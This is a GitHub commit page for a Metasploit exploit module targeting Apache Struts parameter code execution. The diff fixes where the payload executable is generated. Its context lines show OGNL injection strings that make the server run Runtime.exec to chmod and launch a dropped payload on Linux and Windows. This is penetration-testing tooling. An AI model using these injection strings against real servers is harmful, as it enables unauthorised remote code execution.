Skip to content

Commit

Permalink
Land #10038, struts_code_exec_parameters EXE fix
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu authored and msjenkins-r7 committed May 17, 2018
1 parent cbac801 commit 012de0f
Showing 1 changed file with 2 additions and 1 deletion.
3 changes: 2 additions & 1 deletion modules/exploits/multi/http/struts_code_exec_parameters.rb
Expand Up @@ -117,12 +117,12 @@ def execute_command(cmd)
def exploit
#Set up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe

append = false
#Now arch specific...
case target['Platform']
when 'linux'
pl_exe = generate_payload_exe
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
Expand All @@ -140,6 +140,7 @@ def exploit
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'win'
pl_exe = generate_payload_exe
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
Expand Down

0 comments on commit 012de0f

Please sign in to comment.